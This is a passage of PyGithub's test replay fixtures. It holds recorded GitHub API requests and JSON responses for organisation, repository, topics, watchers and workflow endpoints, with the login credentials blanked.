GET api.github.com None /orgs/BeaverSoftware {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4915'), ('content-length', '714'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"125496cfc78c073ab8bf69c9bc5129d9"'), ('date', 'Sun, 27 May 2012 07:15:54 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":1,"type":"Organization","disk_usage":0,"blog":null,"url":"https://api.github.com/orgs/BeaverSoftware","plan":{"private_repos":0,"name":"free","space":307200},"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","total_private_repos":0,"public_gists":0,"company":null,"login":"BeaverSoftware","owned_private_repos":0,"private_gists":0,"collaborators":0,"email":null,"followers":0,"name":null,"created_at":"2012-02-09T19:20:12Z","location":"Paris, France","id":1424031,"billing_email":"BeaverSoftware@vincent-jacques.net","following":0,"html_url":"https://github.com/BeaverSoftware"} https GET api.github.com None /repos/BeaverSoftware/FatherBeaver {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.nebula-preview+json'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4914'), ('content-length', '1431'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"539a11d46b5bb0db8383306bad48fd1c"'), ('date', 'Sun, 27 May 2012 07:15:55 GMT'), ('content-type', 'application/json; charset=utf-8')] {"organization":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"visibility":"public","open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"} https GET api.github.com None /repos/BeaverSoftware/FatherBeaver/teams {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4913'), ('content-length', '76'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7da40fa4ce70d77b7cddef012cf24607"'), ('date', 'Sun, 27 May 2012 07:15:56 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/teams/141496","name":"Members","id":141496}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetTopics.txt0000644000175100001660000000255214756101563023702 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/topics {'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.mercy-preview+json', 'User-Agent': 'PyGithub/Python'} None 200 [('content-length', '30'), ('x-runtime-rack', '0.081855'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('etag', '"c34823528b2c41eadf247bcea3b7dabc"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('x-github-media-type', 'github.mercy-preview; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '4C20:5398:FE4A88:26DA323:5AD7F450'), ('date', 'Thu, 19 Apr 2018 01:43:45 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1524105758')] {"names":["testing","github"]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetWatchers.txt0000644000175100001660000001144614756101563024223 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/watchers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4910'), ('content-length', '4422'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8e8c7e43110b3cb76b2e52cec4202ced"'), ('date', 'Sun, 27 May 2012 07:17:10 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/users/Stals","avatar_url":"https://secure.gravatar.com/avatar/5341a13bb6125ce7c97cf91b35209e16?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5341a13bb6125ce7c97cf91b35209e16","login":"Stals","id":472089},{"url":"https://api.github.com/users/att14","avatar_url":"https://secure.gravatar.com/avatar/96e24bccec8300005c74a0d9cd096149?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96e24bccec8300005c74a0d9cd096149","login":"att14","id":780132},{"url":"https://api.github.com/users/jardon-u","avatar_url":"https://secure.gravatar.com/avatar/1b4be24fa7e62eb508ca448da99e43d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1b4be24fa7e62eb508ca448da99e43d4","login":"jardon-u","id":994192},{"url":"https://api.github.com/users/huxley","avatar_url":"https://secure.gravatar.com/avatar/16a037e47cf9737e037169cbd1d2bed6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"16a037e47cf9737e037169cbd1d2bed6","login":"huxley","id":839},{"url":"https://api.github.com/users/mikofski","avatar_url":"https://secure.gravatar.com/avatar/98aa463dd3f869c195efc372c8d42c86?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"98aa463dd3f869c195efc372c8d42c86","login":"mikofski","id":1385621},{"url":"https://api.github.com/users/L42y","avatar_url":"https://secure.gravatar.com/avatar/4dc11d87759273f3466ab4f673bcecae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4dc11d87759273f3466ab4f673bcecae","login":"L42y","id":284820},{"url":"https://api.github.com/users/fanzeyi","avatar_url":"https://secure.gravatar.com/avatar/71de1870e298b3488d75c4cb805f4cf7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"71de1870e298b3488d75c4cb805f4cf7","login":"fanzeyi","id":409951},{"url":"https://api.github.com/users/abersager","avatar_url":"https://secure.gravatar.com/avatar/b2e096f2c016d8dc168a3a5e6281b07a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b2e096f2c016d8dc168a3a5e6281b07a","login":"abersager","id":1328351},{"url":"https://api.github.com/users/waylan","avatar_url":"https://secure.gravatar.com/avatar/5479425141d61976fd0875bea7dfd7e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5479425141d61976fd0875bea7dfd7e0","login":"waylan","id":78846},{"url":"https://api.github.com/users/adericbourg","avatar_url":"https://secure.gravatar.com/avatar/5287a88d1c85f336fe494a694fac7635?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5287a88d1c85f336fe494a694fac7635","login":"adericbourg","id":615743},{"url":"https://api.github.com/users/tallforasmurf","avatar_url":"https://secure.gravatar.com/avatar/61104afbd871dab22a702e7c1233d573?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"61104afbd871dab22a702e7c1233d573","login":"tallforasmurf","id":1137018},{"url":"https://api.github.com/users/pvicente","avatar_url":"https://secure.gravatar.com/avatar/c6733f16eb6fc13f79c6dcfd093b347a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c6733f16eb6fc13f79c6dcfd093b347a","login":"pvicente","id":471109},{"url":"https://api.github.com/users/roskakori","avatar_url":"https://secure.gravatar.com/avatar/b58d0f1ea06b8d5de5f02c53f747ac03?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b58d0f1ea06b8d5de5f02c53f747ac03","login":"roskakori","id":328726},{"url":"https://api.github.com/users/michaelpedersen","avatar_url":"https://secure.gravatar.com/avatar/1689abbd998128dbb3658698b429b022?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1689abbd998128dbb3658698b429b022","login":"michaelpedersen","id":22974},{"url":"https://api.github.com/orgs/BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","login":"BeaverSoftware","id":1424031}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetWorkflowId.txt0000644000175100001660000002346314756101563024534 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 30 Apr 2020 14:23:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1588260036'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ca5e583e90533cae1b4d5dbe1e06ce8e"'), ('Last-Modified', 'Thu, 30 Apr 2020 11:35:51 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EA20:2BF3:3A538:437A1:5EAADF62')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-04-30T11:35:51Z","pushed_at":"2020-04-29T03:27:15Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12694,"stargazers_count":3394,"watchers_count":3394,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1099,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":45,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1099,"open_issues":45,"watchers":3394,"default_branch":"master","permissions":{"admin":false,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":true,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1099,"subscribers_count":98} https GET api.github.com None /repos/PyGithub/PyGithub/actions/workflows/1122712 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 30 Apr 2020 14:23:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1588260036'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fc1eaa3814dd3ef6fdb3da89e056c63b"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EA22:67AD:694D5:7A1D2:5EAADF63')] {"id":1122712,"node_id":"MDg6V29ya2Zsb3cxMTIyNzEy","name":"Publish to PyPI","path":".github/workflows/python-publish.yml","state":"active","created_at":"2020-04-26T18:51:02.000+10:00","updated_at":"2020-04-26T18:51:02.000+10:00","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1122712","html_url":"https://github.com/PyGithub/PyGithub/blob/master/.github/workflows/python-publish.yml","badge_url":"https://github.com/PyGithub/PyGithub/workflows/Publish%20to%20PyPI/badge.svg"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetWorkflowRuns.txt0000644000175100001660000016441514756101563025132 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 21 May 2020 02:15:19 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1590030919'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"6b8f93a72b6702dffe09f023ccc8208a"'), ('Last-Modified', 'Wed, 20 May 2020 23:59:38 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8318:1681:366CD8:3D67B2:5EC5E437')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-05-20T23:59:38Z","pushed_at":"2020-05-20T23:59:36Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12908,"stargazers_count":3456,"watchers_count":3456,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1117,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":45,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1117,"open_issues":45,"watchers":3456,"default_branch":"master","permissions":{"admin":false,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":true,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1117,"subscribers_count":100} https GET api.github.com None /repos/PyGithub/PyGithub/actions/runs {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 21 May 2020 02:15:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1590030918'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"dc48c44f85cee126dcdf05e177a328a9"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), 